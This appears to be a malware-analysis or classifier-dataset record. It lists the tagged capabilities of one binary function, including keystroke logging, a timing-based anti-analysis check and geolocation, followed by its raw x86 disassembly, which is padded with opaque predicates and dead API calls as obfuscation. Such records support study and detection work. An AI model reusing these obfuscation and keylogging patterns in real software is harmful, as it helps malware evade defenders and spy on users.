Function at 0x1002d9fd
Capabilities:
Accept command line arguments
Check for time delay via gettickcount
Compare security identifiers
Create pipe
Delete file
Enumerate gui resources
Get file attributes
Get geographical location
Log keystrokes via polling
Parse pe header
Query environment variable
Query or enumerate registry value
Set thread local storage value
Terminate process

Disassembly:
mov eax, 0x100821c7
call fcn.10080c60
mov eax, 0x149c
call fcn.10069a80
push ebx
push esi
xor ebx, ebx
mov dword [ebp - 0x5c], ecx
push edi
inc ebx
mov byte [ebp - 0x69], dl
push ebx
lea ecx, [ebp - 0x388]
call fcn.10015351
push 2
xor eax, eax
lea ecx, [ebp - 0x800]
mov dword [ebp - 4], eax
or esi, 0xffffffff
pop edi
mov dword [ebp - 0x48], 0x65256810
mov dword [ebp - 0x18], esi
push edi
call fcn.10015351
mov byte [ebp - 4], bl
xor eax, eax
mov dword [ebp - 0x40], esi
mov dword [ebp - 0x4c], 0x8fc5674f
mov dword [ebp - 0x58], 9
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], ebx
jge 0x1002da82
push dword [ebp - 0x24]
lea ecx, [ebp - 0x388]
call fcn.100153f2
mov dword [eax], esi
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], ebx
jl 0x1002da68
xor eax, eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], edi
jge 0x1002daa2
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x29c], 0x46b4
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], edi
jl 0x1002da8a
xor eax, eax
mov dword [ebp - 0x24], eax
xor esi, esi
cmp dword [ebp - 0x24], edi
jge 0x1002dac1
push dword [ebp - 0x24]
lea ecx, [ebp - 0x800]
call fcn.100153f2
mov dword [eax], esi
inc dword [ebp - 0x24]
jmp 0x1002daa7
mov eax, dword [ebp - 0x48]
lea ecx, [ebp - 0x388]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
push esi
call fcn.100153f2
push esi
lea ecx, [ebp - 0x388]
call fcn.100153f2
push esi
lea ecx, [ebp - 0x388]
call fcn.100153f2
cmp dword [eax], esi
je 0x1002dafe
xor eax, eax
cmp dword [ebp - 0x298], eax
je 0x1002db00
jmp 0x1002db02
xor eax, eax
mov ebx, eax
cmp dword [ebp - 0x18], ebx
jl 0x1002db0d
mov eax, dword [ebp - 0x298]
mov eax, dword [ebp - 0x298]
lea ecx, [ebp - 0x388]
mov eax, dword [ebp - 0x298]
xor ebx, ebx
push ebx
call fcn.100153f2
push ebx
lea ecx, [ebp - 0x800]
call fcn.100153f2
mov ecx, dword [ebp - 0x48]
cmp dword [eax], ecx
lea ecx, [ebp - 0x388]
setge bl
xor eax, eax
push eax
call fcn.100153f2
cmp dword [eax], ebx
je 0x1002db5b
xor eax, eax
cmp dword [ebp - 0x40], eax
je 0x1002db5d
xor ebx, ebx
inc ebx
mov esi, ebx
jmp 0x1002db62
xor eax, eax
xor ebx, ebx
mov esi, eax
inc ebx
push eax
lea ecx, [ebp - 0x388]
call fcn.100153f2
mov eax, dword [eax]
add eax, esi
jne 0x1002db86
xor esi, esi
lea ecx, [ebp - 0x800]
push esi
call fcn.100153f2
cmp dword [eax], esi
je 0x1002db88
mov esi, ebx
xor eax, eax
lea ecx, [ebp - 0x388]
push eax
call fcn.100153f2
cmp esi, dword [eax]
jl 0x1002dba6
xor eax, eax
cmp dword [ebp - 0x298], eax
je 0x1002dbb2
jmp 0x1002dba8
xor eax, eax
cmp dword [ebp - 0x298], eax
je 0x1002dbb2
mov eax, ebx
mov dword [ebp - 0x4c], eax
lea ecx, [ebp - 0x800]
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0x58], eax
call fcn.100153d6
or eax, 0xffffffff
lea ecx, [ebp - 0x388]
mov dword [ebp - 4], eax
call fcn.100153d6
push 0xfffffffffffffffc
pop eax
mov dword [ebp - 0xe0], eax
mov dword [ebp - 0xdc], eax
mov dword [ebp - 0xd8], eax
mov dword [ebp - 0xd4], eax
push 4
mov dword [ebp - 0x38], 6
pop eax
mov dword [ebp - 0x18], 0x6f4dad24
mov dword [ebp - 0x40], eax
xor eax, eax
push 3
mov dword [ebp - 0x2c], eax
pop esi
cmp dword [ebp - 0x2c], esi
jge 0x1002dc2a
or ecx, 0xffffffff
mov eax, dword [ebp - 0x2c]
mov dword [ebp + eax*4 - 0x370], ecx
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], esi
jl 0x1002dc16
xor eax, eax
mov dword [ebp - 0xe0], eax
cmp dword [ebp - 0xe0], edi
mov edi, dword [sym.imp.USER32.dll_GetDesktopWindow]
jg 0x1002dda4
push 2
lea ecx, [ebp - 0x920]
call fcn.10015351
mov dword [ebp - 4], 2
mov eax, 0xde8cc195
mov dword [ebp - 0x48], 0x53413f08
mov dword [ebp - 0xc80], eax
mov dword [ebp - 0xc7c], eax
mov dword [ebp - 0xc78], eax
mov dword [ebp - 0xc74], eax
xor eax, eax
mov dword [ebp - 0x2c], eax
jmp 0x1002dc98
push dword [ebp - 0x2c]
lea ecx, [ebp - 0x920]
call fcn.100153f2
mov dword [eax], 5
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], 2
jl 0x1002dc81
mov eax, dword [ebp - 0xe0]
mov eax, dword [ebp + eax*4 - 0x370]
cmp dword [ebp - 0x368], eax
je 0x1002dd17
xor esi, esi
lea ecx, [ebp - 0x920]
push esi
call fcn.100153f2
mov ecx, dword [ebp - 0xe0]
push esi
mov ecx, dword [ebp + ecx*4 - 0x370]
mov dword [eax], ecx
lea ecx, [ebp - 0x920]
call fcn.100153f2
mov eax, dword [ebp - 0xe0]
mov eax, dword [ebp + eax*4 - 0x370]
mov eax, dword [ebp - 0xe0]
mov eax, dword [ebp + eax*4 - 0x370]
mov eax, dword [ebp - 0xe0]
mov dword [ebp - 0x48], eax
mov eax, dword [ebp - 0xe0]
mov eax, dword [ebp + eax*4 - 0x370]
cmp dword [ebp - 0x48], eax
jl 0x1002dd17
xor eax, eax
mov edx, eax
jmp 0x1002dd19
mov edx, ebx
mov eax, dword [ebp - 0xe0]
xor ecx, ecx
mov eax, dword [ebp + eax*4 - 0x370]
cmp eax, edx
setge cl
xor edx, edx
mov dword [ebp - 0x38], ecx
mov eax, dword [ebp - 0xe0]
mov ecx, dword [ebp + eax*4 - 0x370]
mov eax, dword [ebp - 0x38]
cmp eax, ecx
mov eax, dword [ebp - 0xe0]
setne dl
mov eax, dword [ebp + eax*4 - 0x370]
sub edx, eax
xor eax, eax
cmp edx, 0xfffffff7
setne al
sub eax, 0x53814dca
mov dword [ebp - 0xc80], eax
xor eax, eax
mov byte [ebp - 0x1d], al
cmp byte [ebp - 0x1d], al
je 0x1002dd7d
push eax
call edi
push eax
call dword [sym.imp.USER32.dll_SetWindowTextA]
or eax, 0xffffffff
lea ecx, [ebp - 0x920]
mov dword [ebp - 4], eax
call fcn.100153d6
inc dword [ebp - 0xe0]
cmp dword [ebp - 0xe0], 2
jle 0x1002dc42
push 3
pop esi
mov dword [ebp - 0x38], esi
jmp 0x1002df06
push esi
lea ecx, [ebp - 0x47c]
call fcn.10015351
mov dword [ebp - 4], esi
xor eax, eax
mov dword [ebp - 0x1c], 0xb1262954
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], esi
jge 0x1002dde9
push dword [ebp - 0x10]
lea ecx, [ebp - 0x47c]
call fcn.100153f2
push 8
pop ecx
mov dword [eax], ecx
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], esi
jl 0x1002ddcc
xor eax, eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], esi
jge 0x1002de09
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0xcfc], 0x4b5b
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], esi
jl 0x1002ddf1
xor eax, eax
cmp dword [ebp - 0xe0], eax
jne 0x1002de66
mov eax, dword [ebp - 0xe0]
lea ecx, [ebp - 0x47c]
mov eax, dword [ebp - 0xdc]
push ebx
call fcn.100153f2
xor ecx, ecx
push 2
cmp dword [eax], 0xc539
sete cl
mov dword [ebp - 0xe0], ecx
lea ecx, [ebp - 0x47c]
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x38]
call fcn.100153f2
push ebx
lea ecx, [ebp - 0x47c]
mov esi, eax
call fcn.100153f2
mov ecx, dword [eax]
add ecx, dword [esi]
imul eax, ecx, 0xfffffffa
test eax, eax
je 0x1002de68
mov eax, ebx
mov dword [ebp - 0x18], eax
xor ecx, ecx
mov eax, dword [ebp - 0x18]
cmp eax, 0x60d54ba4
push ebx
setl cl
mov dword [ebp - 0x1c], ecx
lea ecx, [ebp - 0x47c]
call fcn.100153f2
xor ecx, ecx
cmp dword [eax], ecx
je 0x1002dee0
push ecx
lea ecx, [ebp - 0x47c]
call fcn.100153f2
mov eax, dword [ebp - 0x38]
lea ecx, [ebp - 0x47c]
mov eax, dword [ebp - 0x1c]
push ebx
call fcn.100153f2
mov ecx, dword [ebp - 0x1c]
xor edx, edx
cmp dword [eax], ecx
setle dl
xor ecx, ecx
imul eax, edx, 0xdd67
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
cmp eax, 0xfffffffd
setg cl
mov dword [ebp - 0xe0], ecx
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0xcf8]
dec eax
dec eax
je 0x1002dee0
mov ecx, ebx
jmp 0x1002dee4
xor eax, eax
mov ecx, eax
mov eax, dword [ebp - 0xcf8]
add eax, ecx
lea ecx, [ebp - 0x47c]
mov dword [ebp - 0x40], eax
or eax, 0xffffffff
mov dword [ebp - 4], eax
call fcn.100153d6
dec dword [ebp - 0x38]
push 3
pop esi
cmp dword [ebp - 0x38], 0xfffffff5
jg 0x1002ddac
xor eax, eax
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x40], 0xeec54165
mov dword [ebp - 0x2c], eax
jmp 0x1002df32
mov eax, dword [ebp - 0x2c]
mov dword [ebp + eax*4 - 0xcc], 6
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], ebx
jl 0x1002df21
mov dword [ebp - 0xcc], 0x18
jmp 0x1002df7c
mov dword [ebp - 0x34], 0xce57bf5c
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x48], eax
mov eax, dword [ebp - 0x48]
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x34], 6
cmp dword [ebp - 0x34], 0xfffffffd
jne 0x1002df76
xor eax, eax
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x40], eax
jne 0x1002df76
dec dword [ebp - 0x34]
cmp dword [ebp - 0x34], 0xfffffffd
je 0x1002df65
dec dword [ebp - 0xcc]
cmp dword [ebp - 0xcc], 0xfffffffc
jge 0x1002df43
mov esi, dword [sym.imp.USER32.dll_GetDC]
xor eax, eax
mov byte [ebp - 0x1d], al
cmp byte [ebp - 0x1d], al
je 0x1002dfa1
call edi
push eax
call esi
push eax
call dword [sym.imp.GDI32.dll_EndDoc]
push 3
lea ecx, [ebp - 0x938]
call fcn.10015351
push 4
pop eax
mov dword [ebp - 4], eax
xor eax, eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 3
jge 0x1002dfde
push dword [ebp - 0x10]
lea ecx, [ebp - 0x938]
call fcn.100153f2
mov dword [eax], 0x8ec0
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 3
jl 0x1002dfbf
xor eax, eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 2
jge 0x1002e000
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x208], 0xfffffff7
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 2
jl 0x1002dfe7
xor eax, eax
mov dword [ebp - 0x204], eax
cmp dword [ebp - 0x204], 2
jg 0x1002e036
push dword [ebp - 0x204]
lea ecx, [ebp - 0x938]
call fcn.100153f2
cmp dword [eax], 0
jne 0x1002e034
inc dword [ebp - 0x204]
cmp dword [ebp - 0x204], 2
jle 0x1002e00f
xor eax, eax
push eax
lea ecx, [ebp - 0x938]
call fcn.100153f2
lea ecx, [ebp - 0x938]
mov eax, dword [eax]
mov dword [ebp - 0x204], eax
or eax, 0xffffffff
mov dword [ebp - 4], eax
call fcn.100153d6
mov dword [ebp - 0x34], ebx
mov dword [ebp - 0x48], 0xfffffffe
mov dword [ebp - 0x34], 0x14
jmp 0x1002e19f
mov dword [ebp - 0x28], 0x6de713a4
mov dword [ebp - 0x28], 0xffffffe9
cmp dword [ebp - 0x28], 0xfffffff0
je 0x1002e19c
xor eax, eax
mov dword [ebp - 0x30], 0x738ab659
mov dword [ebp - 0x40], 0xc89d73ae
mov byte [ebp - 0x1d], al
cmp byte [ebp - 0x1d], 0
je 0x1002e0b6
push eax
push 0x5f5
push 0x8d2
push eax
call dword [sym.imp.GDI32.dll_SetPaletteEntries]
xor eax, eax
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 0xffffffeb
jle 0x1002e18f
push 4
pop eax
push eax
lea ecx, [ebp - 0x7bc]
call fcn.10015351
xor eax, eax
mov dword [ebp - 4], 5
mov dword [ebp - 0x2c], eax
jmp 0x1002e0f1
push dword [ebp - 0x2c]
call fcn.100153f2
mov dword [eax], 0xc7dcd66a
inc dword [ebp - 0x2c]
push 4
pop eax
lea ecx, [ebp - 0x7bc]
cmp dword [ebp - 0x2c], eax
jl 0x1002e0e0
push 2
call fcn.100153f2
mov ecx, dword [ebp - 0x34]
xor edx, edx
cmp ecx, 0xfffffffe
setge dl
imul edx, dword [ebp - 0x28]
cmp dword [eax], edx
je 0x1002e124
xor eax, eax
cmp dword [ebp - 0x28], eax
je 0x1002e126
mov edx, ebx
jmp 0x1002e128
xor eax, eax
mov edx, eax
mov eax, dword [ebp - 0x28]
xor ecx, ecx
cmp edx, eax
setl cl
add ecx, 0x79ae4f78
mov dword [ebp - 0x48], ecx
xor ecx, ecx
mov eax, dword [ebp - 0x48]
cmp eax, ebx
setge cl
sub ecx, dword [ebp - 0x30]
neg ecx
sbb ecx, ecx
inc ecx
cmp ecx, dword [ebp - 0x30]
jl 0x1002e15f
push 2
lea ecx, [ebp - 0x7bc]
call fcn.100153f2
push 3
lea ecx, [ebp - 0x7bc]
call fcn.100153f2
or eax, 0xffffffff
mov dword [ebp - 0x40], ebx
lea ecx, [ebp - 0x7bc]
mov dword [ebp - 4], eax
call fcn.100153d6
dec dword [ebp - 0x30]
cmp dword [ebp - 0x30], 0xffffffeb
jg 0x1002e0c3
xor eax, eax
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], 0xfffffff0
jne 0x1002e08b
dec dword [ebp - 0x34]
cmp dword [ebp - 0x34], 0xffffffe8
jle 0x1002e071
push 4
pop eax
push eax
lea ecx, [ebp - 0x9d0]
call fcn.10015351
mov dword [ebp - 4], 6
xor eax, eax
mov dword [ebp - 0x54], 0xe1e87df2
mov dword [ebp - 0x10], 0xb0f7
push 0xfffffffffffffffa
pop ecx
cmp dword [ebp - 0x10], eax
je 0x1002e26c
or eax, 0xffffffff
xor edx, edx
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x40], ebx
mov dword [ebp - 0x48], ecx
mov dword [ebp - 0x40], 0x17ab6dad
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x40], eax
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x10]
cmp ecx, eax
mov eax, dword [ebp - 0x10]
setl dl
xor ebx, ebx
cmp edx, eax
mov eax, dword [ebp - 0x10]
setl bl
xor ecx, ecx
cmp eax, ebx
setne cl
cmp ecx, 0xdb5cabfc
sbb eax, eax
neg eax
cmp eax, 9
sbb eax, eax
neg eax
mov dword [ebp - 0x48], eax
mov eax, dword [ebp - 0x48]
sub eax, dword [ebp - 0x18]
jne 0x1002e23d
cmp dword [ebp - 0x10], eax
jne 0x1002e23d
xor ebx, ebx
mov ecx, eax
inc ebx
jmp 0x1002e242
xor ebx, ebx
inc ebx
mov ecx, ebx
mov eax, dword [ebp - 0x10]
sub ecx, eax
imul eax, ecx, 0x70c3
mov dword [ebp - 0x40], eax
xor eax, eax
mov byte [ebp - 0x1d], al
cmp byte [ebp - 0x1d], al
je 0x1002e2bd
push eax
push eax
push 0x2ef
push eax
push ebx
push eax
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
jmp 0x1002e2bd
push 4
mov dword [ebp - 0x2c], eax
pop ecx
cmp dword [ebp - 0x2c], ecx
jge 0x1002e28b
mov eax, dword [ebp - 0x2c]
mov dword [ebp + eax*4 - 0x12d4], ebx
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], ecx
jl 0x1002e277
xor eax, eax
mov dword [ebp - 0x10], eax
jmp 0x1002e2b7
mov eax, dword [ebp - 0x10]
cmp dword [ebp + eax*4 - 0x12d4], 0
jne 0x1002e2bd
xor eax, eax
mov byte [ebp - 0x1d], al
cmp byte [ebp - 0x1d], al
je 0x1002e2b4
push eax
call edi
push eax
call esi
push eax
call dword [sym.imp.GDI32.dll_SelectObject]
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 3
jle 0x1002e290
mov dword [ebp - 0x3c], 0xfffffff9
lea ecx, [ebp - 0xecc]
mov dword [ebp - 0x34], 0xd16df251
push 2
call fcn.10015351
or eax, 0xffffffff
mov byte [ebp - 4], 7
movdqa xmm0, xmmword [0x10008290]
lea ecx, [ebp - 0x12ac]
mov dword [ebp - 0x40], eax
lea eax, [ebp - 0xff4]
push eax
lea eax, [ebp - 0x1004]
push eax
movdqu xmmword [ebp - 0x1004], xmm0
call fcn.10015401
lea ecx, [ebp - 0x1b3]
mov esi, eax
call fcn.100093c3
push eax
push dword [esi + 4]
lea ecx, [ebp - 0x1208]
push dword [esi]
call fcn.100153b0
push 8
pop eax
mov byte [ebp - 4], al
xor eax, eax
push 2
mov dword [ebp - 0x2c], eax
pop esi
cmp dword [ebp - 0x2c], esi
jge 0x1002e35a
push dword [ebp - 0x2c]
lea ecx, [ebp - 0xecc]
call fcn.100153f2
mov dword [eax], 0x88a137b1
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], esi
jl 0x1002e33c
xor eax, eax
mov dword [ebp - 0x34], 0x4a8c6a53
mov dword [ebp - 0x34], ebx
cmp dword [ebp - 0x34], eax
jl 0x1002e3bc
mov dword [ebp - 0x28], 0x10d21dfe
mov dword [ebp - 0x58], eax
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], ebx
jg 0x1002e3b7
mov dword [ebp - 0x18], 0x32aa61fc
cmp dword [ebp - 0x28], eax
je 0x1002e393
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x28]
xor edx, edx
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x28]
cmp eax, ecx
setle dl
xor eax, eax
mov dword [ebp - 0x58], edx
cmp dword [ebp - 0x18], eax
jne 0x1002e3b5
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], ebx
jle 0x1002e37b
xor eax, eax
dec dword [ebp - 0x34]
jns 0x1002e369
lea ecx, [ebp - 0x1208]
call fcn.100153d6
lea ecx, [ebp - 0xecc]
mov byte [ebp - 4], 6
call fcn.100153d6
mov dword [ebp - 0x40], 0x5c81
xor eax, eax
mov dword [ebp - 0x48], ebx
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 3
jge 0x1002e404
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x11a8], 0xfff9
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 3
jl 0x1002e3eb
xor eax, eax
mov dword [ebp - 0x10], eax
jmp 0x1002e41a
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x454], 0xda7fe64f
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], esi
jl 0x1002e409
mov ecx, dword [ebp - 0x454]
xor edx, edx
mov eax, dword [ebp - 0x40]
cmp ecx, eax
setl dl
sub edx, 6
neg edx
sbb edx, edx
inc edx
mov dword [ebp - 0x48], edx
jne 0x1002e448
xor eax, eax
mov edx, eax
cmp dword [ebp - 0x454], eax
je 0x1002e44a
mov edx, ebx
mov eax, dword [ebp - 0x454]
xor ecx, ecx
cmp eax, edx
setge cl
xor eax, eax
test ecx, ecx
jne 0x1002e464
cmp dword [ebp - 0x48], eax
je 0x1002e464
mov eax, ebx
imul eax, eax, 0xfffffffc
mov dword [ebp - 0x11a4], 0xfffffffc
test eax, eax
je 0x1002e483
xor eax, eax
cmp dword [ebp - 0x454], eax
je 0x1002e485
mov ecx, ebx
jmp 0x1002e487
xor eax, eax
mov ecx, eax
xor eax, eax
cmp ecx, 0x710dd01
setge al
mov dword [ebp - 0x454], eax
xor eax, eax
mov byte [ebp - 0x1d], al
cmp byte [ebp - 0x1d], al
je 0x1002e4ad
call edi
push eax
call dword [sym.imp.USER32.dll_SetCapture]
xor eax, eax
push 4
mov dword [ebp - 0x2c], eax
pop ecx
cmp dword [ebp - 0x2c], ecx
jge 0x1002e4d6
push dword [ebp - 0x2c]
lea ecx, [ebp - 0x9d0]
call fcn.100153f2
push 4
and dword [eax], 0
inc dword [ebp - 0x2c]
pop eax
cmp dword [ebp - 0x2c], eax
jl 0x1002e4b8
xor eax, eax
mov dword [ebp - 0x18], 0xebaeef20
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], ebx
jge 0x1002e4f9
mov eax, dword [ebp - 0x2c]
mov dword [ebp + eax*4 - 0xeb0], ebx
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], ebx
jl 0x1002e4e5
xor eax, eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], eax
jl 0x1002e556
mov byte [ebp - 0x1d], al
cmp byte [ebp - 0x1d], 0
je 0x1002e535
push 0xf62
push 0x194e
push 0x1a04
push 0x1211
push 0xd02
call edi
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_PatBlt]
xor eax, eax
mov byte [ebp - 0x1d], al
cmp byte [ebp - 0x1d], 0
je 0x1002e551
push eax
call edi
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetCurrentPositionEx]
xor eax, eax
dec dword [ebp - 0x18]
jns 0x1002e501
mov dword [ebp - 0x54], 3
cmp dword [ebp - 0x54], eax
jl 0x1002ec2c
or eax, 0xffffffff
lea ecx, [ebp - 0x9b8]
mov dword [ebp - 0x2cc], eax
mov dword [ebp - 0x2c8], eax
mov dword [ebp - 0x2c4], eax
push 4
mov dword [ebp - 0x2c0], eax
pop eax
push eax
call fcn.10015351
mov byte [ebp - 4], 9
or ecx, 0xffffffff
mov dword [ebp - 0x48], 0x7a81a82e
xor eax, eax
mov dword [ebp - 0x48], ecx
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x40], 5
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 4
jge 0x1002e5da
push dword [ebp - 0x10]
lea ecx, [ebp - 0x9b8]
call fcn.100153f2
push 4
mov dword [eax], 0x8628405c
inc dword [ebp - 0x10]
pop eax
cmp dword [ebp - 0x10], eax
jl 0x1002e5b6
xor eax, eax
or ecx, 0xffffffff
mov dword [ebp - 0x10], eax
jmp 0x1002e5ec
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x3b0], ecx
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ebx
jl 0x1002e5df
mov eax, dword [ebp - 0x2c0]
lea ecx, [ebp - 0x9b8]
push esi
call fcn.100153f2
xor edx, edx
push 3
pop ecx
mov dword [eax], ecx
mov eax, dword [ebp - 0x2cc]
cmp eax, ecx
mov eax, dword [ebp - 0x2c4]
setle dl
xor ecx, ecx
cmp eax, edx
push 4
setle cl
xor edx, edx
mov dword [ebp - 0x48], ecx
mov eax, dword [ebp - 0x48]
mov dword [ebp - 0x3b0], eax
mov eax, dword [ebp - 0x2c0]
mov ecx, dword [ebp - 0x2c0]
mov eax, dword [ebp - 0x2c0]
cmp ecx, eax
setg dl
xor ecx, ecx
mov dword [ebp - 0x48], edx
mov eax, dword [ebp - 0x48]
cmp eax, 0x33147f59
mov eax, dword [ebp - 0x2c0]
setle cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x2c0]
setg dl
xor ecx, ecx
cmp edx, eax
sete cl
xor edx, edx
cmp ecx, 0xb2bc
setne dl
xor eax, eax
cmp edx, 0x5800
setl al
mov dword [ebp - 0x48], eax
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x2c0]
pop eax
cmp dword [ebp - 0x2c0], eax
jg 0x1002e6a8
xor eax, eax
cmp dword [ebp - 0x3b0], eax
je 0x1002e6aa
mov eax, ebx
mov dword [ebp - 0x40], eax
lea ecx, [ebp - 0x9b8]
mov byte [ebp - 4], 6
call fcn.100153d6
mov dword [ebp - 0x34], 0xa6801fc3
lea ecx, [ebp - 0xb80]
push ebx
call fcn.10015351
xor eax, eax
mov byte [ebp - 4], 0xa
mov dword [ebp - 0x3c], eax
lea ecx, [ebp - 0x334]
push ebx
call fcn.10015351
mov byte [ebp - 4], 0xb
lea ecx, [ebp - 0x914]
or eax, 0xffffffff
mov dword [ebp - 0x48], 0x65256810
mov dword [ebp - 0x18], eax
push esi
call fcn.10015351
mov byte [ebp - 4], 0xc
or eax, 0xffffffff
mov dword [ebp - 0x40], eax
xor eax, eax
mov dword [ebp - 0x4c], 0x8fc5674f
mov dword [ebp - 0x58], 9
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], ebx
jge 0x1002e740
push dword [ebp - 0x24]
lea ecx, [ebp - 0x334]
call fcn.100153f2
or ecx, 0xffffffff
mov dword [eax], ecx
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], ebx
jl 0x1002e723
xor eax, eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], esi
jge 0x1002e760
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x2a4], 0x46b4
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], esi
jl 0x1002e748
xor eax, eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], esi
jge 0x1002e785
xor esi, esi
push dword [ebp - 0x24]
lea ecx, [ebp - 0x914]
call fcn.100153f2
mov dword [eax], esi
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], 2
jl 0x1002e76a
jmp 0x1002e787
xor esi, esi
mov eax, dword [ebp - 0x48]
lea ecx, [ebp - 0x334]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
push esi
call fcn.100153f2
push esi
lea ecx, [ebp - 0x334]
call fcn.100153f2
push esi
lea ecx, [ebp - 0x334]
call fcn.100153f2
cmp dword [eax], esi
je 0x1002e7c4
xor eax, eax
cmp dword [ebp - 0x2a0], eax
je 0x1002e7c6
jmp 0x1002e7c8
xor eax, eax
mov ebx, eax
cmp dword [ebp - 0x18], ebx
jl 0x1002e7d3
mov eax, dword [ebp - 0x2a0]
mov eax, dword [ebp - 0x2a0]
lea ecx, [ebp - 0x334]
mov eax, dword [ebp - 0x2a0]
xor ebx, ebx
push ebx
call fcn.100153f2
push ebx
lea ecx, [ebp - 0x914]
call fcn.100153f2
mov ecx, dword [ebp - 0x48]
cmp dword [eax], ecx
lea ecx, [ebp - 0x334]
setge bl
xor eax, eax
push eax
call fcn.100153f2
cmp dword [eax], ebx
je 0x1002e821
xor eax, eax
cmp dword [ebp - 0x40], eax
je 0x1002e823
xor ebx, ebx
inc ebx
mov esi, ebx
jmp 0x1002e828
xor eax, eax
xor ebx, ebx
mov esi, eax
inc ebx
push eax
lea ecx, [ebp - 0x334]
call fcn.100153f2
mov eax, dword [eax]
add eax, esi
jne 0x1002e84c
xor esi, esi
lea ecx, [ebp - 0x914]
push esi
call fcn.100153f2
cmp dword [eax], esi
je 0x1002e84e
mov esi, ebx
xor eax, eax
lea ecx, [ebp - 0x334]
push eax
call fcn.100153f2
cmp esi, dword [eax]
jl 0x1002e86c
xor eax, eax
cmp dword [ebp - 0x2a0], eax
je 0x1002e878
jmp 0x1002e86e
xor eax, eax
cmp dword [ebp - 0x2a0], eax
je 0x1002e878
mov eax, ebx
mov dword [ebp - 0x4c], eax
lea ecx, [ebp - 0x914]
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0x58], eax
call fcn.100153d6
lea ecx, [ebp - 0x334]
mov byte [ebp - 4], 0xa
call fcn.100153d6
xor eax, eax
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], ebx
jge 0x1002e8c3
push dword [ebp - 0x2c]
lea ecx, [ebp - 0xb80]
call fcn.100153f2
mov dword [eax], 0x4888999d
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], ebx
jl 0x1002e8a5
xor eax, eax
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x40], 0xeec54165
mov dword [ebp - 0x2c], eax
jmp 0x1002e8e3
mov eax, dword [ebp - 0x2c]
mov dword [ebp + eax*4 - 0xc8], 6
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], ebx
jl 0x1002e8d2
mov dword [ebp - 0xc8], 0x18
jmp 0x1002e92d
mov dword [ebp - 0x34], 0xce57bf5c
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x48], eax
mov eax, dword [ebp - 0x48]
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x34], 6
cmp dword [ebp - 0x34], 0xfffffffd
jne 0x1002e927
xor eax, eax
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x40], eax
jne 0x1002e927
dec dword [ebp - 0x34]
cmp dword [ebp - 0x34], 0xfffffffd
